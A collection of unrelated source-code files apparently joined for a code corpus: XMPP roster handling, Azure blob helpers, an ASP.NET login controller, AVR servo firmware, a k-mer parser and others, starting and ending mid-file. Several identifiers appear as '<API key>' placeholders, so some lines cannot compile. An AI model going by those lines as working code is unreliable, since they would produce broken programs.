item.addChild(node=Node('group', payload=[group]))
self._owner.send(iq)
def getItems(self):
"""
Return list of all [bare] JIDs that the roster is currently tracks
"""
return self._data.keys()
def keys(self):
"""
Same as getItems. Provided for the sake of dictionary interface
"""
return self._data.keys()
def __getitem__(self, item):
"""
Get the contact in the internal format. Raises KeyError if JID 'item' is
not in roster
"""
return self._data[item]
def getItem(self, item):
"""
Get the contact in the internal format (or None if JID 'item' is not in
roster)
"""
if self._data.has_key(item):
return self._data[item]
def Subscribe(self, jid):
"""
Send subscription request to JID 'jid'
"""
self._owner.send(Presence(jid, 'subscribe'))
def Unsubscribe(self, jid):
"""
Ask for removing our subscription for JID 'jid'
"""
self._owner.send(Presence(jid, 'unsubscribe'))
def Authorize(self, jid):
"""
Authorize JID 'jid'. Works only if these JID requested auth previously
"""
self._owner.send(Presence(jid, 'subscribed'))
def Unauthorize(self, jid):
"""
Unauthorise JID 'jid'. Use for declining authorisation request or for
removing existing authorization
"""
self._owner.send(Presence(jid, 'unsubscribed'))
def getRaw(self):
"""
Return the internal data representation of the roster
"""
return self._data
def setRaw(self, data):
"""
Return the internal data representation of the roster
"""
self._data = data
self._data[self._owner.User + '@' + self._owner.Server] = {
'resources': {},
'name': None,
'ask': None,
'subscription': None,
'groups': None
}
self._set = 1
def plugin(self, owner, request=1):
"""
Register presence and subscription trackers in the owner's dispatcher.
Also request roster from server if the 'request' argument is set. Used
internally
"""
self._owner.RegisterHandler('iq', self.RosterIqHandler, 'result', NS_ROSTER, makefirst = 1)
self._owner.RegisterHandler('iq', self.RosterIqHandler, 'set', NS_ROSTER)
self._owner.RegisterHandler('presence', self.PresenceHandler)
if request:
return self.Request()
def _on_roster_set(self, data):
if data:
self._owner.Dispatcher.ProcessNonBlocking(data)
if not self._set:
return
if not hasattr(self, '_owner') or not self._owner:
# Connection has been closed by receiving a <stream:error> for ex,
return
self._owner.onreceive(None)
if self.on_ready:
self.on_ready(self)
self.on_ready = None
return True
def getRoster(self, on_ready=None, force=False):
"""
Request roster from server if neccessary and returns self
"""
return_self = True
if not self._set:
self.on_ready = on_ready
self._owner.onreceive(self._on_roster_set)
return_self = False
elif on_ready:
on_ready(self)
return_self = False
if return_self or force:
return self
return None
|
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("LightStone4net.WinUI")]
[assembly: AssemblyDescription("")]
[assembly: <API key>("")]
[assembly: AssemblyProduct("LightStone4net.WinUI")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("<API key>")]
|
using System.IO;
using System.Text;
using Microsoft.WindowsAzure.Storage.Blob;
namespace ScrewTurn.Wiki.Plugins.AzureStorage
{
<summary>
</summary>
public static class CloudBlobExtensions
{
<summary>
Uploads a string of text to a block blob.
</summary>
<param name="blob"></param>
<param name="content">The text to upload, encoded as a UTF-8 string.</param>
public static void UploadText(this ICloudBlob blob, string content)
{
UploadText(blob, content, Encoding.UTF8, null);
}
<summary>
Uploads a string of text to a block blob.
</summary>
<param name="blob"></param>
<param name="content">The text to upload.</param>
<param name="encoding">An object that indicates the text encoding to use.</param>
<param name="options">An object that specifies any additional options for the request.</param>
public static void UploadText(this ICloudBlob blob, string content, Encoding encoding, BlobRequestOptions options)
{
UploadByteArray(blob, encoding.GetBytes(content), options);
}
<summary>
Uploads a file from the file system to a block blob.
</summary>
<param name="blob"></param>
<param name="fileName">The path and file name of the file to upload.</param>
public static void UploadFile(this ICloudBlob blob, string fileName)
{
UploadFile(blob, fileName, null);
}
<summary>
Uploads a file from the file system to a block blob.
</summary>
<param name="blob"></param>
<param name="fileName">The path and file name of the file to upload.</param>
<param name="options">An object that specifies any additional options for the request.</param>
public static void UploadFile(this ICloudBlob blob, string fileName, BlobRequestOptions options)
{
using (var data = File.OpenRead(fileName))
{
blob.UploadFromStream(data, null, options);
}
}
<summary>
Uploads an array of bytes to a block blob.
</summary>
<param name="blob"></param>
<param name="content">The array of bytes to upload.</param>
public static void UploadByteArray(this ICloudBlob blob, byte[] content)
{
UploadByteArray(blob, content, null);
}
<summary>
Uploads an array of bytes to a blob.
</summary>
<param name="blob"></param>
<param name="content">The array of bytes to upload.</param>
<param name="options">An object that specifies any additional options for the request.</param>
public static void UploadByteArray(this ICloudBlob blob, byte[] content, BlobRequestOptions options)
{
using (var data = new MemoryStream(content))
{
blob.UploadFromStream(data, null, options);
}
}
<summary>
Downloads the blob's contents.
</summary>
<returns>The contents of the blob, as a string.</returns>
public static string DownloadText(this ICloudBlob blob)
{
return DownloadText(blob, null);
}
<summary>
Downloads the blob's contents.
</summary>
<param name="blob"></param>
<param name="options">An object that specifies any additional options for the request.</param>
<returns>The contents of the blob, as a string.</returns>
public static string DownloadText(this ICloudBlob blob, BlobRequestOptions options)
{
Encoding encoding = GetDefaultEncoding();
byte[] array = DownloadByteArray(blob, options);
return encoding.GetString(array);
}
<summary>
Downloads the blob's contents to a file.
</summary>
<param name="blob"></param>
<param name="fileName">The path and file name of the target file.</param>
public static void DownloadToFile(this ICloudBlob blob, string fileName)
{
DownloadToFile(blob, fileName, null);
}
<summary>
Downloads the blob's contents to a file.
</summary>
<param name="blob"></param>
<param name="fileName">The path and file name of the target file.</param>
<param name="options">An object that specifies any additional options for the request.</param>
public static void DownloadToFile(this ICloudBlob blob, string fileName, BlobRequestOptions options)
{
using (var fileStream = File.Create(fileName))
{
blob.DownloadToStream(fileStream, null, options);
}
}
<summary>
Downloads the blob's contents as an array of bytes.
</summary>
<returns>The contents of the blob, as an array of bytes.</returns>
public static byte[] DownloadByteArray(this ICloudBlob blob)
{
return DownloadByteArray(blob, null);
}
<summary>
Downloads the blob's contents as an array of bytes.
</summary>
<param name="blob"></param>
<param name="options">An object that specifies any additional options for the request.</param>
<returns>The contents of the blob, as an array of bytes.</returns>
public static byte[] DownloadByteArray(this ICloudBlob blob, BlobRequestOptions options)
{
using (var memoryStream = new MemoryStream())
{
blob.DownloadToStream(memoryStream, null, options);
return memoryStream.ToArray();
}
}
<summary>
Gets the default encoding for the blob, which is UTF-8.
</summary>
<returns>The default <see cref="Encoding"/> object.</returns>
private static Encoding GetDefaultEncoding()
{
Encoding encoding = Encoding.UTF8;
return encoding;
}
}
}
|
<?php
namespace Library\ViewModels;
if (!<API key>) {
exit('No direct script access allowed');
}
class BaseJsonVm extends BaseVm {
/**
*
* @var mixed The response to use by the JavaScript Client
*/
protected $Response;
/**
* Getter for $Response member.
*
* @return mixed
* @see $Response member
*/
public function Response() {
return $this->Response;
}
}
|
#include <Foundation/Foundation.h>
@interface NSVBTestedFault : NSObject
@end
|
using System;
using System.Collections.Generic;
using System.Configuration;
using System.Linq;
using System.Net;
using System.Web;
using System.Web.Mvc;
using System.Web.Security;
using ACE.Web.Models.Account;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
using RestSharp;
namespace ACE.Web.Controllers
{
public class AccountController : Controller
{
[HttpGet]
public ActionResult Login()
{
return View(new LoginModel());
}
[HttpPost]
public ActionResult Login(LoginModel model)
{
if (!ModelState.IsValid)
return View(model);
RestClient authClient = new RestClient(<API key>.AppSettings["Ace.Api"]);
var authRequest = new RestRequest("/Account/Authenticate", Method.POST);
authRequest.AddJsonBody(new { model.Username, model.Password });
var authResponse = authClient.Execute(authRequest);
if (authResponse.StatusCode == HttpStatusCode.Unauthorized)
{
model.ErrorMessage = "Incorrect Username or Password";
return View(model);
}
else if (authResponse.StatusCode != HttpStatusCode.OK)
{
model.ErrorMessage = "Error connecting to API";
return View(model);
}
// else we got an OK response
JObject response = JObject.Parse(authResponse.Content);
var authToken = (string)response.SelectToken("authToken");
if (!string.IsNullOrWhiteSpace(authToken))
{
JwtCookieManager.SetCookie(authToken);
return RedirectToAction("Index", "Home", null);
}
return View(model);
}
[HttpGet]
public ActionResult LogOff()
{
JwtCookieManager.SignOut();
return RedirectToAction("Index", "Home", null);
}
[HttpGet]
public ActionResult Register()
{
return View(new RegisterModel());
}
[HttpPost]
public ActionResult Register(RegisterModel model)
{
// create the user
return View();
}
}
}
|
# -*- coding: utf-8 -*-
from django.contrib import admin
from django.utils.translation import ugettext as _
from .models import AbuseReport, SearchTermRecord
admin.site.register(AbuseReport)
class SearchTermAdmin(admin.ModelAdmin):
list_display = ('__unicode__', 'ip_address', 'get_user_full_name', )
search_fields = ('term', )
def get_user_full_name(self, obj):
if obj.user is None:
return "(%s)" % _(u"None")
return obj.user.get_full_name()
get_user_full_name.short_description = "user"
admin.site.register(SearchTermRecord, SearchTermAdmin)
|
// This file is part of the ClearCanvas RIS/PACS open source project.
// The ClearCanvas RIS/PACS open source project is free software: you can
// redistribute it and/or modify it under the terms of the GNU General Public
// The ClearCanvas RIS/PACS open source project is distributed in the hope that it
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
// the ClearCanvas RIS/PACS open source project. If not, see
#endregion
namespace Macro.Desktop.View.WinForms
{
<summary>
Enumeration for specifying the style of check boxes displayed on a <see cref="BindingTreeView"/> control.
</summary>
public enum CheckBoxStyle
{
<summary>
Indicates that no check boxes should be displayed at all.
</summary>
None,
<summary>
Indicates that standard true/false check boxes should be displayed.
</summary>
Standard,
<summary>
Indicates that tri-state (true/false/unknown) check boxes should be displayed.
</summary>
TriState
}
}
|
#! /bin/sh
for i in `ls ./ | sed s'|.po||'` ; do
msgmerge --update --no-fuzzy-matching --no-wrap --add-location=file --backup=none ./$i.po pamac.pot
done
|
package org.ovirt.engine.core.bll.transport;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.TimeoutException;
import org.ovirt.engine.core.bll.Backend;
import org.ovirt.engine.core.common.businessentities.VDS;
import org.ovirt.engine.core.common.businessentities.VdsProtocol;
import org.ovirt.engine.core.common.businessentities.VdsStatic;
import org.ovirt.engine.core.common.config.Config;
import org.ovirt.engine.core.common.config.ConfigValues;
import org.ovirt.engine.core.common.interfaces.FutureVDSCall;
import org.ovirt.engine.core.common.vdscommands.<API key>;
import org.ovirt.engine.core.common.vdscommands.<API key>;
import org.ovirt.engine.core.common.vdscommands.VDSReturnValue;
import org.ovirt.engine.core.dal.dbbroker.DbFacade;
import org.ovirt.engine.core.utils.transaction.TransactionMethod;
import org.ovirt.engine.core.utils.transaction.TransactionSupport;
import org.ovirt.engine.core.vdsbroker.ResourceManager;
/**
* We need to detect whether vdsm supports jsonrpc or only xmlrpc. It is confusing to users
* when they have cluster 3.5+ and connect to vdsm <3.5 which supports only xmlrpc.
* In order to present version information in such situation we need fallback to xmlrpc.
*
*/
public class ProtocolDetector {
private Integer connectionTimeout = null;
private Integer retryAttempts = null;
private VDS vds;
public ProtocolDetector(VDS vds) {
this.vds = vds;
this.retryAttempts = Config.<Integer> getValue(ConfigValues.<API key>);
this.connectionTimeout = Config.<Integer> getValue(ConfigValues.<API key>);
}
/**
* Attempts to connect to vdsm using a proxy from {@code VdsManager} for a host.
* There are 3 attempts to connect.
*
* @return <code>true</code> if connected or <code>false</code> if connection failed.
*/
public boolean attemptConnection() {
boolean connected = false;
try {
for (int i = 0; i < this.retryAttempts; i++) {
long timeout = Config.<Integer> getValue(ConfigValues.<API key>);
FutureVDSCall<VDSReturnValue> task =
Backend.getInstance().getResourceManager().runFutureVdsCommand(<API key>.TimeBoundPoll,
new <API key>(vds.getId(), timeout, TimeUnit.SECONDS));
VDSReturnValue returnValue =
task.get(timeout, TimeUnit.SECONDS);
connected = returnValue.getSucceeded();
if (connected) {
break;
}
Thread.sleep(this.connectionTimeout);
}
} catch (TimeoutException | <API key> ignored) {
}
return connected;
}
/**
* Stops {@code VdsManager} for a host.
*/
public void stopConnection() {
ResourceManager.getInstance().RemoveVds(this.vds.getId());
}
/**
* Fall back the protocol and attempts the connection {@link ProtocolDetector#attemptConnection()}.
*
* @return <code>true</code> if connected or <code>false</code> if connection failed.
*/
public boolean <API key>() {
vds.setProtocol(VdsProtocol.XML);
ResourceManager.getInstance().AddVds(vds, false);
return attemptConnection();
}
/**
* Updates DB with fall back protocol (xmlrpc).
*/
public void setFallbackProtocol() {
final VdsStatic vdsStatic = this.vds.getStaticData();
vdsStatic.setProtocol(VdsProtocol.XML);
TransactionSupport.<API key>(new TransactionMethod<Void>() {
@Override
public Void runInTransaction() {
DbFacade.getInstance().getVdsStaticDao().update(vdsStatic);
return null;
}
});
}
}
|
import {<API key>} from 'history';
import stringUtil from '@shared/util/stringUtil';
import ConfigStore from '../stores/ConfigStore';
const history = <API key>({basename: stringUtil.<API key>(ConfigStore.getBaseURI())});
export default history;
|
/** FIRMWARE REVISION */
#define FIRMWARE_VERSION 0x01
/** HARDWARE CONFIGURATION */
#define NUM_MOTORS 8
#ifndef F_CPU
#define F_CPU 16000000UL
#endif
/** INCLUDE AVR HEADERS */
#include <avr/io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <util/delay.h>
/** INCLUDE PROGRAM HEADERS */
#include "aracna.h"
#include "macros.h"
#include "ax12.h"
#include "uart.h"
// UART Configuration and Buffers
// putchar and getchar are in uart.c
//FILE uart_str = FDEV_SETUP_STREAM(uart_putchar, uart_getchar, _FDEV_SETUP_RW);
#define <API key> 60 //Input String Length
char input[<API key>]; //complete input string
uint16_t vals[NUM_MOTORS] = {0}; //For holding the values that come over serial for each of our servos
char cmd; //the command character
// making these volatile keeps the compiler from optimizing loops of available()
volatile int ax_rx_Pointer;
volatile int ax_tx_Pointer;
volatile int ax_rx_int_Pointer;
/** Main program entry point. This routine contains the overall program flow
*/
int main(void)
{
initialize(); //Configures Ports, sets default values, etc.
//Loop Forever
for (;;)
{
//we add data starting with an '.' to the buffer until we get the newline character.
fgets(input, sizeof(input), stdin); //Get the actual input (reads up to and including newline character)
cmd = input[1]; //command char is always the first char of the input data after the '.'
//Command = 'q' - Query for the current status
if (cmd == 'q')
{
memset(input, 0, sizeof(input)); //Clear previous input
fprintf(stdout, ".q%d,%d\n", FIRMWARE_VERSION, NUM_MOTORS); //ACK w/ Firmware Version, # of Motors
}
//Command = 'l' - Command to Control Debug LED
else if (cmd == 'l')
{
if (input[2] == '1') DEBUG_LED_ON(); //Turn LED On
else if (input[2] == '0') DEBUG_LED_OFF(); //Turn LED Off
memset(input, 0, sizeof(input)); //Clear previous input
fprintf(stdout, ".l%d\n", DEBUG_LED_STATE()); //ACK
}
//Command = 'v' - Sets all motor speeds
//Comma separated entries telling all motors to set certain speeds
//Assumes motor IDs are 0 <-> NUM_MOTORS-1
else if (cmd == 'v')
{
parse_serial(); //Read the input string to an array of values
memset(input, 0, sizeof(input)); //Clear previous input
//send those speed commands
for (int i = 0; i<NUM_MOTORS; i++)
{
ax12SetRegister2(i, AX_GOAL_SPEED_L, vals[i]);
}
_delay_ms(25);
//Only after we have commanded all the speeds, can we check the status
fprintf(stdout, ".v"); //ACK Character
//Send ACK Info
for (int i = 0; i<NUM_MOTORS; i++)
{
fprintf(stdout, "%d", ax12GetRegister(i, AX_GOAL_SPEED_L, 2)); //Return velocity setting
if (i<NUM_MOTORS-1) fprintf(stdout, ","); //Print delimiter
}
fprintf(stdout, "\n"); //ACK Newline
}
//Command = 'c' - Command all the motors to a new position
//Comma separated entries telling all motors to move to positions from 0-1023
//Assumes motor IDs are 0 <-> NUM_MOTORS-1
else if (cmd == 'c')
{
parse_serial(); //Read the input string to an array of positions
memset(input, 0, sizeof(input)); //Clear previous input
//send those position commands
for (int i = 0; i<NUM_MOTORS; i++)
{
ax12SetRegister2(i, AX_GOAL_POSITION_L, vals[i]);
}
//Only after we have commanded all the positions, can we check the status
fprintf(stdout, ".c"); //ACK Character
//Send ACK Info
for (int i = 0; i<NUM_MOTORS; i++)
{
while(ax12GetRegister(i,AX_MOVING,1)); //Wait for this motor to finish moving
fprintf(stdout, "%d", ax12GetRegister(i, <API key>, 2)); //Return the present position
if (i<NUM_MOTORS-1) fprintf(stdout, ","); //Print delimiter
}
fprintf(stdout, "\n"); //ACK Newline
}
}
}
/** initialize()
Sets up the UARTS, configures pin directions, says hello, then blinks at you.
*/
void initialize(void)
{
//init the UART0 to the Computer
uart_init();
stdout = &uart_output;
stdin = &uart_input;
//Initialize the AX12 UART1
ax12Init(1000000);
//Initialize Pin Directions and States for I/O
DDRB |= (DEBUG_LED_NUM);
DEBUG_LED_OFF();
//We're live. Say Hello
fprintf(stdout,".h\n");
//Blink The Board LED and all Dynamixel LEDs to show We're good to go
for (int i = 0; i<NUM_MOTORS; i++) ax12SetRegister(i, AX_LED, 0);
DEBUG_LED_OFF();
_delay_ms(500);
for (int i = 0; i<NUM_MOTORS; i++) ax12SetRegister(i, AX_LED, 1);
DEBUG_LED_ON();
_delay_ms(500);
for (int i = 0; i<NUM_MOTORS; i++) ax12SetRegister(i, AX_LED, 0);
DEBUG_LED_OFF();
}
/** parse_serial()
Assumes the input buffer has been populated with data of this form: ".c<val0>,<val1>,<val2>,...<val7>\n" as a char array
This function reads this buffer, and populates the "vals" array with the integer representations of 10-bit values for each motor command
*/
void parse_serial(void)
{
for (uint8_t i = 0; i < NUM_MOTORS; i++) vals[i] = 0;
//Skip leading '.' and command char
uint8_t i = 2;
uint8_t motor_num = 0;
uint8_t mtr_tmp[4] = {10, 10, 10, 10};
uint8_t mtr_tmp_pos = 0;
while (motor_num < NUM_MOTORS)
{
//look for the commas
if (input[i] == ',' || input[i] == '\n')
{
if (mtr_tmp[3] < 10) vals[motor_num] = mtr_tmp[0]*1000 + mtr_tmp[1]*100 + mtr_tmp[2]*10 + mtr_tmp[3];
else if (mtr_tmp[2] < 10) vals[motor_num] = mtr_tmp[0]*100 + mtr_tmp[1]*10 + mtr_tmp[2];
else if (mtr_tmp[1] < 10) vals[motor_num] = mtr_tmp[0]*10 + mtr_tmp[1];
else vals[motor_num] = mtr_tmp[0];
motor_num++;
for (uint8_t j = 0; j<4; j++) mtr_tmp[j] = 10;
mtr_tmp_pos = 0;
}
else
{
mtr_tmp[mtr_tmp_pos] = input[i] - '0';
mtr_tmp_pos++;
}
i++;
}
}
|
@extends('layouts.app')
@section('content')
<div class="container">
<div class="row">
<div class="col-md-8 col-md-offset-2">
<div class="panel panel-default">
<div class="panel-heading">Dashboard</div>
<div class="panel-body">
Hello {{Auth::guard('user')->user()->name}}
You are logged in!
{{ Auth()->guard('user')->user()->email }}
</div>
</div>
</div>
</div>
</div>
@endsection
|
package nl.eduvpn.app.adapter;
import android.content.Context;
import android.support.v7.widget.RecyclerView;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import nl.eduvpn.app.R;
import nl.eduvpn.app.adapter.viewholder.MessageViewHolder;
import nl.eduvpn.app.entity.message.Maintenance;
import nl.eduvpn.app.entity.message.Message;
import nl.eduvpn.app.entity.message.Notification;
import nl.eduvpn.app.utils.FormattingUtils;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
public class MessagesAdapter extends RecyclerView.Adapter<MessageViewHolder> {
private List<Message> _userMessages;
private List<Message> _systemMessages;
private List<Message> _mergedList = new ArrayList<>();
private LayoutInflater _layoutInflater;
public void setUserMessages(List<Message> userMessages) {
_userMessages = userMessages;
_regenerateList();
}
public void setSystemMessages(List<Message> systemMessages) {
_systemMessages = systemMessages;
_regenerateList();
}
private void _regenerateList() {
_mergedList.clear();
if (_userMessages != null) {
_mergedList.addAll(_userMessages);
}
if (_systemMessages != null) {
_mergedList.addAll(_systemMessages);
}
Collections.sort(_mergedList);
<API key>();
}
@Override
public MessageViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {
if (_layoutInflater == null) {
_layoutInflater = LayoutInflater.from(parent.getContext());
}
return new MessageViewHolder(_layoutInflater.inflate(R.layout.list_item_message, parent, false));
}
@Override
public void onBindViewHolder(MessageViewHolder holder, int position) {
Message message = _mergedList.get(position);
if (message instanceof Maintenance) {
holder.messageIcon.setVisibility(View.VISIBLE);
Context context = holder.messageText.getContext();
String maintenanceText = FormattingUtils.getMaintenanceText(context, (Maintenance)message);
holder.messageText.setText(maintenanceText);
} else if (message instanceof Notification) {
holder.messageIcon.setVisibility(View.GONE);
holder.messageText.setText(((Notification)message).getContent());
} else {
throw new RuntimeException("Unexpected message type!");
}
}
@Override
public int getItemCount() {
return _mergedList.size();
}
}
|
#ifndef <API key>
#define <API key>
#include <iostream>
#include <vector>
#include <jellyfish/double_fifo_input.hpp>
#include <jellyfish/atomic_gcc.hpp>
#include <jellyfish/misc.hpp>
#include <jellyfish/sequence_parser.hpp>
#include <jellyfish/allocators_mmap.hpp>
#include <jellyfish/dna_codes.hpp>
#include <jellyfish/seedmod/seedmod.hpp>
namespace jellyfish {
class parse_dna : public double_fifo_input<sequence_parser::sequence_t> {
typedef std::vector<const char *> fary_t;
uint_t mer_len;
size_t buffer_size;
const fary_t files;
fary_t::const_iterator current_file;
bool have_seam;
char *seam;
allocators::mmap buffer_data;
bool canonical;
sequence_parser *fparser;
const char *Spaced_seed_cstr;
public:
/* Action to take for a given letter in fasta file:
* A, C, G, T: map to 0, 1, 2, 3. Append to kmer
* Other nucleic acid code: map to -1. reset kmer
* '\n': map to -2. ignore
* Other ASCII: map to -3. Report error.
*/
static uint64_t <API key>(const char *in, uint_t klen) {
uint64_t res = 0;
for(uint_t i = 0; i < klen; i++) {
const uint_t c = dna_codes[(uint_t)*in++];
if(c & CODE_NOT_DNA)
return 0;
res = (res << 2) | c;
}
return res;
}
static void <API key>(uint64_t mer, uint_t klen, char *out) {
static const char table[4] = { 'A', 'C', 'G', 'T' };
for(unsigned int i = 0 ; i < klen; i++) {
out[klen-1-i] = table[mer & (uint64_t)0x3];
mer >>= 2;
}
out[klen] = '\0';
}
static uint64_t reverse_complement(uint64_t v, uint_t length) {
v = ((v >> 2) & <API key>) | ((v & <API key>) << 2);
v = ((v >> 4) & <API key>) | ((v & <API key>) << 4);
v = ((v >> 8) & <API key>) | ((v & <API key>) << 8);
v = ((v >> 16) & <API key>) | ((v & <API key>) << 16);
v = ( v >> 32 ) | ( v << 32);
return (((uint64_t)-1) - v) >> (bsizeof(v) - (length << 1));
}
template<typename T>
parse_dna(T _files_start, T _files_end, uint_t _mer_len,
unsigned int nb_buffers, size_t _buffer_size,
const char * seed_cstr);
~parse_dna() {
delete [] seam;
}
void set_canonical(bool v = true) { canonical = v; }
virtual void fill();
class thread {
parse_dna *parser;
bucket_t *sequence;
const uint_t mer_len, lshift;
__uint128_t kmer, rkmer;
const __uint128_t masq;
uint64_t ret_mer;
uint_t cmlen;
const bool canonical;
uint64_t distinct, total;
typedef void (*error_reporter)(std::string& err);
error_reporter error_report;
public:
explicit thread(parse_dna *_parser) :
parser(_parser), sequence(0),
mer_len(_parser->mer_len), lshift(2 * (mer_len - 1)),
kmer(0), rkmer(0), ret_mer(0), masq((~(__uint128_t)(0))^((~(__uint128_t)(0))<<(2*mer_len))),
cmlen(0), canonical(parser->canonical),
distinct(0), total(0), error_report(0) {}
uint64_t get_uniq() const { return 0; }
uint64_t get_distinct() const { return distinct; }
uint64_t get_total() const { return total; }
template<typename T>
void parse(T &counter) {
cmlen = kmer = rkmer = ret_mer = 0;
while((sequence = parser->next())) {
const char *start = sequence->start;
const char * const end = sequence->end;
while(start < end) {
const uint_t c = dna_codes[(uint_t)*start++];
switch(c) {
case CODE_IGNORE: break;
case CODE_COMMENT:
report_bad_input(*(start-1));
// Fall through
case CODE_RESET:
cmlen = kmer = rkmer = 0;
break;
default:
kmer = ((kmer << 2) & masq) | c;
//rkmer = (rkmer >> 2) | ((0x3 - c) << lshift);
if(++cmlen >= mer_len) {
cmlen = mer_len;
ret_mer = 0;
kraken::<API key>(parser->Spaced_seed_cstr, mer_len,
kmer,ret_mer);
typename T::val_type oval;
if(canonical){
//counter->add(kmer < rkmer ? kmer : rkmer, 1, &oval);
std::cerr<<"Jellyfish with SpacedSeeds does not support canonical kmers."
<<std::endl;
exit(-1);
}else{
counter->add(ret_mer, 1, &oval);
//DEBUG
//std::cerr<<kraken::kmer_to_str(mer_len,kmer)<<" <--> "
// <<kraken::kmer_to_str(mer_len,ret_mer)
// <<std::endl;
}
distinct += oval == (typename T::val_type)0;
++total;
}
}
}
// Buffer exhausted. Get a new one
cmlen = kmer = rkmer = 0;
parser->release(sequence);
}
}
void set_error_reporter(error_reporter e) {
error_report = e;
}
private:
void report_bad_input(char c) {
if(!error_report)
return;
std::string err("Bad character in sequence: ");
err += c;
error_report(err);
}
};
friend class thread;
thread new_thread() { return thread(this); }
};
}
template<typename T>
jellyfish::parse_dna::parse_dna(T _files_start, T _files_end,
uint_t _mer_len,
unsigned int nb_buffers, size_t _buffer_size,
const char * seed_cstr) :
double_fifo_input<sequence_parser::sequence_t>(nb_buffers), mer_len(_mer_len),
buffer_size(allocators::mmap::round_to_page(_buffer_size)),
files(_files_start, _files_end), current_file(files.begin()),
have_seam(false), buffer_data(buffer_size * nb_buffers), canonical(false),
Spaced_seed_cstr(seed_cstr)
{
seam = new char[mer_len];
memset(seam, 'A', mer_len);
unsigned long i = 0;
for(bucket_iterator it = bucket_begin();
it != bucket_end(); ++it, ++i) {
it->end = it->start = (char *)buffer_data.get_ptr() + i * buffer_size;
}
assert(i == nb_buffers);
fparser = sequence_parser::new_parser(*current_file);
}
#endif
|
drop table if exists hml;
|
<?php
use Alchemy\Phrasea\Model\Serializer\CaptionSerializer;
use Symfony\Component\Yaml\Yaml;
/**
* @group functional
* @group legacy
*/
class caption_recordTest extends \PhraseanetTestCase
{
/**
* @var caption_record
*/
protected $object;
public function setUp()
{
parent::setUp();
$this->object = new caption_record(self::$DI['app'], self::$DI['record_1'], self::$DI['record_1']->get_databox());
}
/**
* @covers \caption_record::serializeXML
*/
public function testSerializeXML()
{
foreach (self::$DI['record_1']->get_databox()->get_meta_structure() as $databox_field) {
$n = $databox_field->is_multi() ? 3 : 1;
for ($i = 0; $i < $n; $i ++) {
\caption_Field_Value::create(self::$DI['app'], $databox_field, self::$DI['record_1'], self::$DI['app']['random.low']->generateString(8));
}
}
$xml = self::$DI['app']['serializer.caption']->serialize($this->object, CaptionSerializer::SERIALIZE_XML);
$sxe = <API key>($xml);
$this->assertInstanceOf('SimpleXMLElement', $sxe);
foreach (self::$DI['record_1']->get_caption()->get_fields() as $field) {
if ($field->get_databox_field()->is_multi()) {
$tagname = $field->get_name();
$retrieved = [];
foreach ($sxe->description->$tagname as $value) {
$retrieved[] = (string) $value;
}
$values = $field->get_values();
$this->assertEquals(count($values), count($retrieved));
foreach ($values as $val) {
$this->assertTrue(in_array($val->getValue(), $retrieved));
}
} else {
$tagname = $field->get_name();
$data = $field->get_values();
$value = array_pop($data);
$this->assertEquals($value->getValue(), (string) $sxe->description->$tagname);
}
}
}
public function testSerializeJSON()
{
foreach (self::$DI['record_1']->get_databox()->get_meta_structure() as $databox_field) {
$n = $databox_field->is_multi() ? 3 : 1;
for ($i = 0; $i < $n; $i ++) {
\caption_Field_Value::create(self::$DI['app'], $databox_field, self::$DI['record_1'], self::$DI['app']['random.low']->generateString(8));
}
}
$json = json_decode(self::$DI['app']['serializer.caption']->serialize($this->object, CaptionSerializer::SERIALIZE_JSON), true);
foreach (self::$DI['record_1']->get_caption()->get_fields() as $field) {
if ($field->get_databox_field()->is_multi()) {
$tagname = $field->get_name();
$retrieved = [];
foreach ($json["record"]["description"][$tagname] as $value) {
$retrieved[] = $value;
}
$values = $field->get_values();
$this->assertEquals(count($values), count($retrieved));
foreach ($values as $val) {
$this->assertTrue(in_array($val->getValue(), $retrieved));
}
} else {
$tagname = $field->get_name();
$data = $field->get_values();
$value = array_pop($data);
$this->assertEquals($value->getValue(), $json["record"]["description"][$tagname]);
}
}
}
/**
* @covers \caption_record::serializeYAML
*/
public function testSerializeYAML()
{
foreach (self::$DI['record_1']->get_databox()->get_meta_structure() as $databox_field) {
$n = $databox_field->is_multi() ? 3 : 1;
for ($i = 0; $i < $n; $i ++) {
\caption_Field_Value::create(self::$DI['app'], $databox_field, self::$DI['record_1'], self::$DI['app']['random.low']->generateString(8));
}
}
$parser = new Yaml();
$yaml = $parser->parse(self::$DI['app']['serializer.caption']->serialize($this->object, CaptionSerializer::SERIALIZE_YAML));
foreach (self::$DI['record_1']->get_caption()->get_fields() as $field) {
if ($field->get_databox_field()->is_multi()) {
$tagname = $field->get_name();
$retrieved = [];
foreach ($yaml["record"]["description"][$tagname] as $value) {
$retrieved[] = (string) $value;
}
$values = $field->get_values();
$this->assertEquals(count($values), count($retrieved));
foreach ($values as $val) {
$this->assertTrue(in_array($val->getValue(), $retrieved));
}
} else {
$tagname = $field->get_name();
$data = $field->get_values();
$value = array_pop($data);
$this->assertEquals($value->getValue(), (string) $yaml["record"]["description"][$tagname]);
}
}
}
/**
* @covers \caption_record::get_fields
* @todo Implement testGet_fields().
*/
public function testGet_fields()
{
// Remove the following lines when you implement this test.
$this->markTestIncomplete(
'This test has not been implemented yet.'
);
}
/**
* @covers \caption_record::get_field
* @todo Implement testGet_field().
*/
public function testGet_field()
{
// Remove the following lines when you implement this test.
$this->markTestIncomplete(
'This test has not been implemented yet.'
);
}
/**
* @covers \caption_record::get_dc_field
* @todo Implement testGet_dc_field().
*/
public function testGet_dc_field()
{
$field = null;
foreach (self::$DI['app']->getDataboxes() as $databox) {
foreach ($databox->get_meta_structure() as $meta) {
$meta->set_dces_element(new <API key>());
$field = $meta;
$set = true;
break;
}
break;
}
if (!$field) {
$this->markTestSkipped('Unable to set a DC field');
}
$captionField = self::$DI['record_1']->get_caption()->get_field($field->get_name());
if (!$captionField) {
